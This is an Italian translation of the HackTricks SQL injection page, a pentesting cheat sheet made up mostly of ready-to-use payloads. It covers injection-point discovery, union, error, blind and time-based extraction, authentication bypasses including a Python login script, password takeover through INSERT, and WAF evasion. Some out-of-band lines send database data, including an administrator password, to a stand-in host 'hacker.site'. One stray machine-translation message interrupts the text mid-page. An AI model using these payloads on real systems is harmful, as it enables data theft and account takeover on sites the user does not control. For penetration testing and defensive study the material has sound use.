SQL Injection
Reading time: 22 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Che cos'è SQL injection?
Una SQL injection è una vulnerabilità di sicurezza che permette agli attaccanti di interferire con le query del database di un'applicazione. Questa vulnerabilità può consentire agli attaccanti di visualizzare, modificare, o cancellare dati a cui non dovrebbero avere accesso, incluse informazioni di altri utenti o qualsiasi dato a cui l'applicazione può accedere. Tali azioni possono provocare cambiamenti permanenti nella funzionalità o nel contenuto dell'applicazione oppure la compromissione del server o un denial of service.
Individuazione del punto di ingresso
Quando un sito sembra essere vulnerabile a SQL injection (SQLi) a causa di risposte anomale del server a input correlati a SQLi, il primo passo è comprendere come iniettare dati nella query senza interromperla. Questo richiede l'identificazione del metodo per uscire dal contesto corrente in modo efficace. Ecco alcuni esempi utili:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
Poi, devi sapere come correggere la query in modo che non dia errori. Per correggere la query puoi inserire dati in modo che la query precedente accetti i nuovi dati, oppure puoi semplicemente inserire i tuoi dati e aggiungere un simbolo di commento alla fine.
Nota che se puoi vedere messaggi di errore o se riesci a individuare differenze quando una query funziona e quando non funziona, questa fase sarà più semplice.
Commenti
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
Confermare con operazioni logiche
Un metodo affidabile per confermare una vulnerabilità da SQL injection consiste nell'eseguire un'operazione logica e osservare i risultati attesi. Per esempio, un parametro GET come ?username=Peter
che restituisce contenuto identico quando modificato in ?username=Peter' or '1'='1
indica una vulnerabilità da SQL injection.
Allo stesso modo, l'applicazione di operazioni matematiche è una tecnica di conferma efficace. Ad esempio, se accedere a ?id=1
e ?id=2-1
produce lo stesso risultato, è indicativo di SQL injection.
Esempi che dimostrano la conferma con operazioni logiche:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
Questa word-list è stata creata per tentare di confermare SQLinjections nel modo proposto:
True SQLi
``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```Conferma tramite temporizzazione
In alcuni casi non noterai alcuna modifica sulla pagina che stai testando. Perciò, un buon modo per discover blind SQL injections è far eseguire al DB azioni che avranno un impatto sul tempo necessario al caricamento della pagina.
Perciò, andremo a inserire con concat nella query SQL un'operazione che richiederà molto tempo per completarsi:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
In alcuni casi le sleep functions non saranno consentite. Allora, invece di usare quelle funzioni puoi far sì che la query esegua operazioni complesse che impiegheranno diversi secondi. Esempi di queste tecniche saranno commentati separatamente per ciascuna tecnologia (se presenti).
Identificazione del back-end
Il modo migliore per identificare il back-end è provare a eseguire funzioni dei diversi back-end. Potresti usare le sleep functions della sezione precedente o queste ones (table from payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
Inoltre, se hai accesso all'output della query, puoi far stampare la versione del database.
tip
Di seguito discuteremo diversi metodi per sfruttare differenti tipi di SQL Injection. Useremo MySQL come esempio.
Identificazione con PortSwigger
SQL injection cheat sheet | Web Security Academy
Sfruttare Union Based
Rilevare il numero di colonne
If you can see the output of the query this is the best way to exploit it.
Prima di tutto, dobbiamo scoprire il numero di colonne che la richiesta iniziale restituisce. Questo perché entrambe le query devono restituire lo stesso numero di colonne.
Two methods are typically used for this purpose:
Order/Group by
To determine the number of columns in a query, incrementally adjust the number used in ORDER BY or GROUP BY clauses until a false response is received. Despite the distinct functionalities of GROUP BY and ORDER BY within SQL, both can be utilized identically for ascertaining the query's column count.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
Seleziona sempre più valori null finché la query non è corretta:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
Dovresti usare null
valori poiché in alcuni casi il tipo delle colonne di entrambi i lati della query deve essere lo stesso e null
è valido in ogni caso.
Estrarre i nomi dei database, i nomi delle tabelle e i nomi delle colonne
Negli esempi seguenti recupereremo i nomi di tutti i database, i nomi delle tabelle di un database e i nomi delle colonne di una tabella:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
Esiste un modo diverso per scoprire questi dati in ogni database, ma la metodologia è sempre la stessa.
Sfruttamento Hidden Union Based
Quando l'output di una query è visibile, ma una union-based injection sembra irrealizzabile, ciò indica la presenza di una hidden union-based injection. Questo scenario spesso porta a una situazione di blind injection. Per trasformare una blind injection in una union-based, è necessario ricostruire la query eseguita nel backend.
Questo può essere ottenuto usando tecniche di blind injection insieme alle tabelle predefinite specifiche del Database Management System (DBMS) target. Per comprendere queste tabelle predefinite, è consigliabile consultare la documentazione del DBMS target.
Una volta estratta la query, è necessario adattare il tuo payload per chiudere in modo sicuro la query originale. Successivamente, una union query viene aggiunta al tuo payload, permettendo lo sfruttamento della appena accessibile union-based injection.
Per approfondimenti più completi, consulta l'articolo completo disponibile su Healing Blind Injections.
Sfruttamento Error based
Se per qualche motivo non puoi vedere l'output della query ma puoi vedere i messaggi di errore, puoi sfruttare questi messaggi di errore per ex-filtrate i dati dal database.
Seguendo un flusso simile a quello dello sfruttamento Union Based, potresti riuscire a dump the DB.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Sfruttare Blind SQLi
In questo caso non puoi vedere i risultati della query o gli errori, ma puoi distinguere quando la query restituisce una risposta true o false perché ci sono contenuti diversi nella pagina.
In questo caso, puoi abusare di quel comportamento per dump the database char by char:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Exploiting Error Blind SQLi
Questo è lo stesso caso di prima ma invece di distinguere tra una risposta true/false dalla query puoi distinguere tra un errore nella query SQL o meno (forse perché l'HTTP server crashes). Pertanto, in questo caso puoi forzare un SQLerror ogni volta che indovini correttamente il char:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Sfruttare Time Based SQLi
In questo caso non c'è alcun modo per distinguere la risposta della query in base al contesto della pagina. Tuttavia, puoi far sì che la pagina impieghi più tempo a caricarsi se il carattere ipotizzato è corretto. Abbiamo già visto questa tecnica in uso in precedenza per confirm a SQLi vuln.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
Puoi usare stacked queries per eseguire più query in successione. Nota che, sebbene le query successive vengano eseguite, i risultati non vengono restituiti all'applicazione. Pertanto questa tecnica è principalmente utile per blind vulnerabilities, dove puoi usare una seconda query per innescare una lookup DNS, un errore condizionale o un ritardo temporale.
Oracle non supporta stacked queries. MySQL, Microsoft e PostgreSQL li supportano: QUERY-1-HERE; QUERY-2-HERE
Out of band Exploitation
Se nessun-altro metodo di exploitation ha funzionato, puoi provare a far sì che il database esfiltri le informazioni verso un host esterno controllato da te. Per esempio, tramite query DNS:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
Esfiltrazione di dati out-of-band via XXE
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Sfruttamento automatizzato
Consulta il SQLMap Cheatsheet per sfruttare una vulnerabilità SQLi con sqlmap.
Informazioni specifiche per tecnologia
Abbiamo già discusso tutti i modi per sfruttare una vulnerabilità SQL Injection. Trova altri trucchi dipendenti dalla tecnologia del database in questo libro:
Or you will find a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Authentication bypass
Elenco da provare per aggirare la funzionalità di login:
Raw hash authentication Bypass
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
Questa query evidenzia una vulnerabilità quando MD5 viene usato con true per l'output raw nei controlli di autenticazione, rendendo il sistema suscettibile a SQL injection. Gli attaccanti possono sfruttarla costruendo input che, una volta calcolato il loro hash, producono parti di comandi SQL inattese, portando ad accesso non autorizzato.
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
Injected hash authentication Bypass
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Lista consigliata:
Dovresti usare come username ogni riga della lista e come password sempre: Pass1234.
(Questi payload sono anche inclusi nella grande lista menzionata all'inizio di questa sezione)
GBK Authentication Bypass
Se ' viene escaped puoi usare %A8%27, e quando ' viene escaped verrà creato: 0xA80x5c0x27 (╘')
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Script Python:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Polyglot injection (multicontext)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Istruzione INSERT
Modificare la password di un oggetto/utente esistente
Per farlo dovresti provare a create a new object named as the "master object" (probabilmente admin nel caso di utenti) modificando qualcosa:
- Create user named: AdMIn (maiuscole e minuscole)
- Create a user named: admin=
- SQL Truncation Attack (quando c'è un qualche limite di lunghezza nel nome utente o nell'email) --> Create user with name: admin [a lot of spaces] a
SQL Truncation Attack
Se il database è vulnerabile e il numero massimo di caratteri per il username è per esempio 30 e vuoi impersonare l'utente admin, prova a creare un username chiamato: "admin [30 spaces] a" e qualsiasi password.
Il database verificherà se il username introdotto esiste dentro il database. Se no, esso taglierà il username al numero massimo di caratteri consentito (in questo caso a: "admin [25 spaces]") e poi rimuoverà automaticamente tutti gli spazi finali aggiornando nel database l'utente "admin" con la nuova password (potrebbe apparire qualche errore ma questo non significa che non abbia funzionato).
More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note: Questo attacco non funzionerà più come descritto sopra nelle ultime installazioni di MySQL. Anche se le comparazioni ignorano ancora di default gli spazi finali, tentare di inserire una stringa più lunga della lunghezza di un campo produrrà un errore e l'inserimento fallirà. Per maggiori informazioni su questo controllo: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert time based checking
Aggiungi tanti ','',''
quanti ritieni necessari per uscire dalla clausola VALUES. Se il delay viene eseguito, hai una SQLInjection.
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
La clausola ON DUPLICATE KEY UPDATE
in MySQL viene utilizzata per specificare le azioni che il database deve eseguire quando si tenta di inserire una riga che provocherebbe un valore duplicato in un indice UNIQUE o in una PRIMARY KEY. L'esempio seguente dimostra come questa funzionalità possa essere sfruttata per modificare la password di un account amministratore:
Esempio Payload Injection:
Un injection payload potrebbe essere creato come segue, in cui si tenta di inserire due righe nella tabella users
. La prima riga è un'esca, e la seconda prende di mira l'email di un amministratore esistente con l'intento di aggiornare la password:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
Ecco come funziona:
- La query tenta di inserire due righe: una per
generic_user@example.com
e un'altra peradmin_generic@example.com
. - Se la riga per
admin_generic@example.com
esiste già, la clausolaON DUPLICATE KEY UPDATE
viene attivata, indicando a MySQL di aggiornare il campopassword
della riga esistente a "bcrypt_hash_of_newpassword". - Di conseguenza, si può poi tentare l'autenticazione usando
admin_generic@example.com
con la password corrispondente al bcrypt hash ("bcrypt_hash_of_newpassword" rappresenta il bcrypt hash della nuova password, che dovrebbe essere sostituito con l'hash effettivo della password desiderata).
Estrarre informazioni
Creare 2 account contemporaneamente
Quando si tenta di creare un nuovo user, sono necessari username, password e email:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
Uso del decimale o esadecimale
Con questa tecnica puoi estrarre informazioni creando un solo account. È importante notare che non è necessario commentare nulla.
Usando hex2dec e substr:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Non hai fornito il contenuto. Per favore incolla qui il testo di src/pentesting-web/sql-injection/README.md che vuoi tradurre oppure fornisci il comando/output da cui recuperarlo.
__import__('binascii').unhexlify(hex(215573607263)[2:])
Usando hex e replace (e substr):
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection
Routed SQL injection è una situazione in cui la query iniettabile non è quella che produce l'output, ma l'output della query iniettabile viene passato alla query che produce l'output. (From Paper)
Esempio:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass
No spaces bypass
No Space (%20) - bypass usando alternative agli spazi bianchi
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - bypass usando commenti
?id=1/*comment*/and/**/1=1/**/--
No Whitespace - bypass usando parentesi
?id=(1)and(1)=(1)--
No commas bypass
No Comma - bypass usando OFFSET, FROM e JOIN
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Bypasses generici
Blacklist che utilizza keywords - bypass tramite uppercase/lowercase
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Blacklist che usa parole chiave case-insensitive - bypass tramite un operatore equivalente
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Notazione scientifica WAF bypass
Puoi trovare una spiegazione più approfondita di questo trucco nel gosecure blog.
Fondamentalmente puoi usare la notazione scientifica in modi inaspettati per bypassare il WAF:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
Bypass Column Names Restriction
Prima di tutto, nota che se la query originale e la tabella da cui vuoi estrarre la flag hanno lo stesso numero di colonne puoi semplicemente fare: 0 UNION SELECT * FROM flag
È possibile accedere alla terza colonna di una tabella senza usare il suo nome usando una query come la seguente: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
, quindi in un sqlinjection questo sarebbe:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
Oppure usando un comma bypass:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
Questo trucco è stato preso da https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/
Column/tablename injection in SELECT list via subqueries
Se l'input dell'utente viene concatenato nella lista SELECT o negli identificatori di tabella/colonna, prepared statements non aiutano perché bind parameters proteggono solo i valori, non gli identificatori. Un pattern vulnerabile comune è:
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
Idea di sfruttamento: iniettare una subquery nella posizione del campo per esfiltrare dati arbitrari:
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
Note:
- Questo funziona anche quando la WHERE clause usa un parametro vincolato, perché la lista di identificatori viene comunque concatenata come stringa.
- Alcuni stack permettono inoltre di controllare il nome della tabella (tablename injection), abilitando letture cross-table.
- Gli output sinks possono riflettere il valore selezionato in HTML/JSON, consentendo XSS o l'esfiltrazione di token direttamente dalla risposta.
Mitigazioni:
- Non concatenare mai identificatori provenienti dall'input utente. Mappa i nomi di colonna consentiti in una allow-list fissa e quotare gli identificatori correttamente.
- Se è necessario l'accesso dinamico alle tabelle, limitalo a un insieme finito e risolvilo server-side da una mappatura sicura.
Strumenti suggeriti per il bypass WAF
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester
Altre guide
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Elenco per rilevamento Brute-Force
Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
Riferimenti
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.